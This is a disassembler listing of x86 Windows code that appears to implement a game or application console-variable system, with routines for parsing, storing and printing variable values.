; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B0D0	proc near		; CODE XREF: sub_401028j

var_8		= dword	ptr -8
var_4		= byte ptr -4

		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	al, [esi+10h]
		test	al, al
		jz	short loc_40B112
		mov	edx, [esi+0Ch]
		lea	eax, [esp+0Ch+var_8]
		lea	ecx, [esp+0Ch+var_4]
		push	eax
		push	ecx
		push	edx
		call	sub_4021B2
		mov	edx, [esi+0Ch]
		mov	eax, [esp+18h+var_8]
		lea	ecx, [esp+18h+var_8]
		mov	[esi+8], eax
		push	ecx
		push	1
		push	edx
		mov	[esp+24h+var_8], 0
		call	sub_401050
		add	esp, 18h


loc_40B112:				; CODE XREF: sub_40B0D0+Bj
		pop	esi
		add	esp, 8
		retn
sub_40B0D0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B140	proc near		; CODE XREF: sub_401DE3j

var_4		= dword	ptr -4

		push	ecx
		mov	al, [ecx+10h]
		test	al, al
		jz	short loc_40B162
		mov	eax, [ecx+8]
		lea	edx, [esp+4+var_4]
		mov	[esp+4+var_4], eax
		mov	eax, [ecx+0Ch]
		push	edx
		push	1
		push	eax
		call	sub_401050
		add	esp, 0Ch


loc_40B162:				; CODE XREF: sub_40B140+6j
		pop	ecx
		retn
sub_40B140	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B180	proc near		; CODE XREF: sub_401A00j

var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40B180
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+1Ch+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+1Ch+var_4], 0
		call	sub_401753
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+1Ch+var_4], 1
		call	sub_401753
		lea	edi, [esi+8Eh]
		lea	eax, [esp+1Ch+var_11]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+20h+var_4], 2
		call	sub_401C08
sub_40B180	endp

; ---------------------------------------------------------------------------
		mov	ecx, edi
		mov	byte ptr [esp+18h], 3
		mov	dword ptr [esi], offset	off_43F020
		call	sub_401C03
		mov	ecx, [esp+10h]
		mov	eax, esi
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B240	proc near		; CODE XREF: sub_401AFAj

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40B240
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+18h+var_10], esi
		mov	dword ptr [esi], offset	off_43F020
		lea	edi, [esi+8Eh]
		mov	[esp+18h+var_4], 3
		mov	ecx, edi
		call	sub_401C03
		mov	ecx, edi
		mov	byte ptr [esp+18h+var_4], 2
		call	sub_40155F
sub_40B240	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	dword ptr [esp+14h], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+0Ch]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B2E0	proc near		; CODE XREF: sub_4017F8j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40B2E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		mov	esi, ecx
		lea	ecx, [esi+8Eh]
		call	sub_401C03
		push	0
		push	14h
		push	13h
		push	9
		push	0Ch
		push	4Eh
		push	12h
		push	1
		push	16h
		lea	eax, [esp+64h+var_3C]
		push	3
		push	eax
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_40B2E0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	14h
		push	5
		push	7
		push	4Fh
		push	12h
		push	1
		push	16h
		lea	edx, [esp+24h]
		push	3
		push	edx
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	14h
		push	5
		push	13h
		push	4Eh
		push	12h
		push	1
		push	16h
		lea	ecx, [esp+3Ch]
		push	3
		push	ecx
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 2
		call	sub_4017EE
		add	esi, 60h
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		lea	ecx, [esp+1Ch]
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B460	proc near		; CODE XREF: sub_40181Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= byte ptr  14h
arg_14		= byte ptr  18h
arg_18		= dword	ptr  1Ch

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		mov	ecx, [esp+8+arg_0]
		push	eax
		add	ecx, 1Eh
		call	sub_401FDC
		mov	eax, [esp+8+arg_0]
		mov	edx, [esp+8+arg_C]
		push	edx
		lea	ecx, [eax+33h]
		call	sub_401FDC
		mov	ecx, [esp+8+arg_0]
		mov	dl, [esp+8+arg_10]
		mov	edi, [esp+8+arg_8]
		mov	[ecx+48h], dl
		mov	eax, [esp+8+arg_0]
		push	edi
		push	eax
		mov	ecx, esi
		call	sub_401F50
		mov	ecx, [esp+8+arg_0]
		mov	dl, [esp+8+arg_14]
		push	edi
		mov	[ecx+4], dl
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_18]
		mov	[eax+5], ecx
		mov	ecx, [esp+0Ch+arg_0]
		call	sub_401FDC
		lea	edx, [esp+8+arg_0]
		lea	ecx, [esi+8Eh]
		push	edx
		call	sub_401915
sub_40B460	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		retn	1Ch
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B500	proc near		; CODE XREF: sub_401B72j

var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h
arg_14		= dword	ptr  18h
arg_18		= dword	ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_40B500
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 48h
		mov	eax, [esp+54h+arg_C]
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		push	eax
		lea	ecx, [esp+64h+var_24]
		call	sub_401870
		mov	edi, eax
		mov	ecx, [esp+60h+arg_8]
		mov	[esp+60h+var_4], 0
		push	ecx
		lea	ecx, [esp+64h+var_3C]
		call	sub_401870
		mov	ebp, eax
		mov	edx, [esp+60h+arg_4]
		lea	ecx, [esp+60h+var_54]
		push	edx
		mov	byte ptr [esp+64h+var_4], 1
		call	sub_401870
		mov	ecx, [esp+60h+arg_18]
		mov	edx, [esp+60h+arg_14]
		push	ecx
		mov	ecx, [esp+64h+arg_10]
		push	edx
		mov	edx, [esp+68h+arg_0]
		push	ecx
		push	edi
		push	ebp
		push	eax
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+7Ch+var_4], 2
		call	sub_40181B
sub_40B500	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	byte ptr [esp+5Ch], 1
		call	sub_401226
		lea	ecx, [esp+24h]
		mov	byte ptr [esp+5Ch], 0
		call	sub_401226
		lea	ecx, [esp+3Ch]
		mov	dword ptr [esp+5Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+54h]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 54h
		retn	1Ch
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B5F0	proc near		; CODE XREF: sub_4019DDj

var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 8
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+10h+var_8]
		call	sub_401546
		add	esi, 8Eh
		lea	eax, [esp+10h+var_4]
		push	eax
		mov	ecx, esi
		call	sub_40145B
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_4]
		mov	[esp+10h+var_8], ecx
		push	edx
		mov	ecx, esi
		call	sub_401C85
		push	eax
		lea	ecx, [esp+14h+var_8]
		call	sub_40136B
		test	al, al
		jz	short loc_40B671
		mov	edi, [esp+10h+arg_0]


loc_40B636:				; CODE XREF: sub_40B5F0+7Fj
		push	edi
		lea	ecx, [esp+14h+var_8]
		call	sub_401F78
		mov	ecx, [eax]
		add	ecx, 1Eh
		call	sub_4021D0
		test	eax, eax
		lea	ecx, [esp+10h+var_8]
		jz	short loc_40B67B
		call	sub_40133E
		lea	eax, [esp+10h+var_4]
		mov	ecx, esi
		push	eax
		call	sub_401C85
		push	eax
		lea	ecx, [esp+14h+var_8]
		call	sub_40136B
		test	al, al
		jnz	short loc_40B636


loc_40B671:				; CODE XREF: sub_40B5F0+40j
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 8
		retn	8
; ---------------------------------------------------------------------------


loc_40B67B:				; CODE XREF: sub_40B5F0+60j
		call	sub_401F78
		mov	eax, [eax]
		pop	edi
		pop	esi
		add	esp, 8
		retn	8
sub_40B5F0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B6C0:				; CODE XREF: ___:00401460j
		push	0FFFFFFFFh
		push	offset loc_439EF8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		mov	eax, [esp+28h]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+8]
		call	sub_401870
		mov	ecx, [esp+30h]
		mov	dword ptr [esp+24h], 0
		push	ecx
		push	eax
		mov	ecx, esi
		call	sub_4019DD
		lea	ecx, [esp+4]
		mov	esi, eax
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn	8
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B750	proc near		; CODE XREF: sub_4015A0j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_4015E1
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		call	near ptr 77C1CF90h
		nop
		fstp	dword ptr [esi+15h]
		add	esp, 4
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		mov	ecx, esi
		mov	[esi+1Ah], eax
		mov	byte ptr [esi+19h], 0
		push	offset aTrue	; "true"
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_40B7A1
		mov	byte ptr [esi+19h], 1


loc_40B7A1:				; CODE XREF: sub_40B750+4Bj
		pop	esi
		retn	8
sub_40B750	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B7D0	proc near		; CODE XREF: sub_401F50j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	ecx, esi
		mov	eax, [edi+9]
		push	eax
		call	sub_4015E1
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1CF90h
		fstp	dword ptr [esi+15h]
		add	esp, 4
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		mov	ecx, esi
		mov	[esi+1Ah], eax
		mov	byte ptr [esi+19h], 0
		push	offset aTrue	; "true"
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_40B825
		mov	byte ptr [esi+19h], 1


loc_40B825:				; CODE XREF: sub_40B7D0+4Fj
		mov	cl, [edi+4]
		mov	[esi+4], cl
		mov	edx, [edi+5]
		mov	[esi+5], edx
		pop	edi
		pop	esi
		retn	8
sub_40B7D0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B860:				; CODE XREF: ___:00401D57j
		fld	dword ptr [esp+8]
		push	esi
		mov	esi, [esp+8]
		sub	esp, 8
		fstp	qword ptr [esp]
		push	offset aF	; "%f"
		push	esi
		call	sub_40102D
		mov	eax, [esp+1Ch]
		add	esp, 10h
		mov	ecx, esi
		mov	[esi+15h], eax
		call	sub_4017EE
		push	eax
		call	near ptr 77C1BF18h
		nop
		fld	dword ptr [esp+10h]
		fcomp	flt_43F024
		mov	[esi+1Ah], eax
		add	esp, 4
		mov	byte ptr [esi+19h], 0
		fnstsw	ax
		test	ah, 1
		jnz	short loc_40B8B1
		mov	byte ptr [esi+19h], 1


loc_40B8B1:				; CODE XREF: ___:0040B8ABj
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B8E0:				; CODE XREF: ___:00401CA8j
		push	ebx
		mov	bl, [esp+0Ch]
		test	bl, bl
		push	esi
		jz	short loc_40B910
		mov	esi, [esp+0Ch]
		push	offset aTrue	; "true"
		mov	ecx, esi
		call	sub_4015E1
		mov	dword ptr [esi+15h], 3F800000h
		mov	dword ptr [esi+1Ah], 1
		mov	[esi+19h], bl
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_40B910:				; CODE XREF: ___:0040B8E8j
		mov	esi, [esp+0Ch]
		push	offset aFalse	; "false"
		mov	ecx, esi
		call	sub_4015E1
		xor	eax, eax
		mov	[esi+19h], bl
		mov	[esi+15h], eax
		mov	[esi+1Ah], eax
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B950:				; CODE XREF: ___:00401D7Fj
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	edi, [esp+10h]
		push	edi
		push	offset dword_4447F4
		push	esi
		call	sub_40102D
		fild	dword ptr [esp+1Ch]
		add	esp, 0Ch
		cmp	edi, 1
		mov	[esi+1Ah], edi
		mov	byte ptr [esi+19h], 0
		fstp	dword ptr [esi+15h]
		jl	short loc_40B980
		mov	byte ptr [esi+19h], 1


loc_40B980:				; CODE XREF: ___:0040B97Aj
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B9A0:				; CODE XREF: ___:loc_401AE1j
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_439F30
		push	eax
		mov	large fs:0, esp
		sub	esp, 4Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+68h]
		mov	ebp, ecx
		push	edi
		lea	edi, [esi+7Eh]
		lea	ecx, [ebp+4]
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40BAE2
		lea	ebx, [esi+69h]
		mov	ecx, ebx
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	offset aCvar	; "(cvar)"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+6Ch]
		call	sub_401546
		add	ebp, 8Eh
		lea	edx, [esp+10h]
		push	edx
		mov	ecx, ebp
		xor	edi, edi
		call	sub_40145B
		mov	eax, [eax]
		lea	ecx, [esp+10h]
		push	ecx
		mov	ecx, ebp
		mov	[esp+70h], eax
		call	sub_401C85
		push	eax
		lea	ecx, [esp+70h]
		call	sub_40136B
		test	al, al
		jz	loc_40BADB


loc_40BA46:				; CODE XREF: ___:0040BAD5j
		lea	ecx, [esp+6Ch]
		inc	edi
		call	sub_401F78
		mov	ecx, [eax]
		add	ecx, 33h
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+70h]
		call	sub_401F78
		mov	ecx, [eax]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+74h]
		call	sub_401F78
		mov	ecx, [eax]
		add	ecx, 1Eh
		call	sub_4017EE
		push	eax
		push	edi
		push	offset aDSSS	; "[%d]	\"%s\" = \"%s\"	(\"%s\")"
		mov	ecx, ebx
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 24h
		push	5DCh
		nop
		call	near ptr 2820269h
		lea	ecx, [esp+6Ch]
		call	sub_40133E
		lea	ecx, [esp+10h]
		push	ecx
		mov	ecx, ebp
		call	sub_401C85
		push	eax
		lea	ecx, [esp+70h]
		call	sub_40136B
		test	al, al
		jnz	loc_40BA46


loc_40BADB:				; CODE XREF: ___:0040BA40j
		mov	al, 1
		jmp	loc_40BC6A
; ---------------------------------------------------------------------------


loc_40BAE2:				; CODE XREF: ___:0040B9D7j
		lea	ecx, [ebp+32h]
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_40BB75
		push	offset asc_444600 ; " "
		lea	edx, [esp+30h]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		push	1
		push	eax
		mov	ecx, ebp
		mov	dword ptr [esp+6Ch], 0
		call	sub_4019DD
		lea	ecx, [esp+2Ch]
		mov	edi, eax
		mov	dword ptr [esp+64h], 0FFFFFFFFh
		call	sub_401226
		test	edi, edi
		jz	loc_40BC68
		mov	ecx, edi
		call	sub_4017EE
		push	eax
		lea	ecx, [edi+1Eh]
		call	sub_4017EE
		push	eax
		push	offset aSS_5	; "%s =	\"%s\""
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 1Ch
		jmp	loc_40BC6A
; ---------------------------------------------------------------------------


loc_40BB75:				; CODE XREF: ___:0040BAF4j
		lea	ecx, [ebp+60h]
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40BC68
		push	offset asc_444600 ; " "
		lea	edx, [esp+30h]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		push	1
		push	eax
		mov	ecx, ebp
		mov	dword ptr [esp+6Ch], 1
		call	sub_4019DD
		lea	ecx, [esp+2Ch]
		mov	edi, eax
		mov	dword ptr [esp+64h], 0FFFFFFFFh
		call	sub_401226
		test	edi, edi
		jz	loc_40BC68
		push	edi
		lea	ecx, [esp+18h]
		call	sub_4014D3
		mov	ebx, 2
		push	1
		push	offset asc_444600 ; " "
		lea	eax, [esp+4Ch]
		push	ebx
		push	eax
		mov	ecx, esi
		mov	[esp+74h], ebx
		call	sub_4011EA
		push	eax
		push	edi
		mov	ecx, ebp
		mov	byte ptr [esp+6Ch], 3
		call	sub_401F50
		lea	ecx, [esp+44h]
		mov	[esp+64h], bl
		call	sub_401226
		lea	ecx, [esp+14h]
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4017EE
		push	eax
		lea	ecx, [edi+1Eh]
		call	sub_4017EE
		push	eax
		push	offset aSSWasS	; "%s =	\"%s\" [was \"%s\"]"
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 20h
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+64h], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	short loc_40BC6A
; ---------------------------------------------------------------------------


loc_40BC68:				; CODE XREF: ___:0040BB30j
					; ___:0040BB87j ...
		xor	al, al


loc_40BC6A:				; CODE XREF: ___:0040BADDj
					; ___:0040BB70j ...
		mov	ecx, [esp+5Ch]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 58h
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 0C0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BD40	proc near		; CODE XREF: sub_401C08j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_4021EE
sub_40BD40	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BD80	proc near		; CODE XREF: sub_40155Fj

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401C85
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_40145B
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40124E
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401FEB
sub_40BD80	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BDF0	proc near		; CODE XREF: sub_40145Bj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_402117
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_4014B0
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_40BDF0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BE30	proc near		; CODE XREF: sub_401C85j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_4014B0
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_40BE30	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BE60	proc near		; CODE XREF: sub_401915j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_401C85
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401C5D
sub_40BE60	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BEA0	proc near		; CODE XREF: sub_401C03j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401C85
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_40145B
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40124E
		pop	esi
		add	esp, 0Ch
		retn
sub_40BEA0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BEF0	proc near		; CODE XREF: sub_401546j
		push	esi
		mov	esi, ecx
		call	sub_402158
		mov	eax, esi
		pop	esi
		retn
sub_40BEF0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BF10	proc near		; CODE XREF: sub_401F78j
		mov	eax, [ecx]
		push	eax
		call	sub_401848
		add	esp, 4
		retn
sub_40BF10	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BF30	proc near		; CODE XREF: sub_40133Ej
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_402117
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_40BF30	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BF60	proc near		; CODE XREF: sub_40136Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401CFD
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_40BF60	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BF90	proc near		; CODE XREF: sub_401C5Dj

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_4016AE
		mov	edi, eax
		push	edi
		call	sub_40215D
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_4021EE
sub_40BF90	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_40215D
		push	edi
		mov	[eax], ebx
		call	sub_40215D
		mov	edi, [eax]
		push	edi
		call	sub_40215D
		mov	ecx, [eax]
		push	ecx
		call	sub_402117
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_401848
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_401F32
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		lea	ecx, [esp+1Ch]
		call	sub_4014B0
		mov	ecx, [eax]
		mov	eax, [esp+10h]
		pop	edi
		pop	esi
		mov	[eax], ecx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C030	proc near		; CODE XREF: sub_40124Ej

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_40136B
		test	al, al
		jz	short loc_40C08A


loc_40C048:				; CODE XREF: sub_40C030+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_401B9A
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
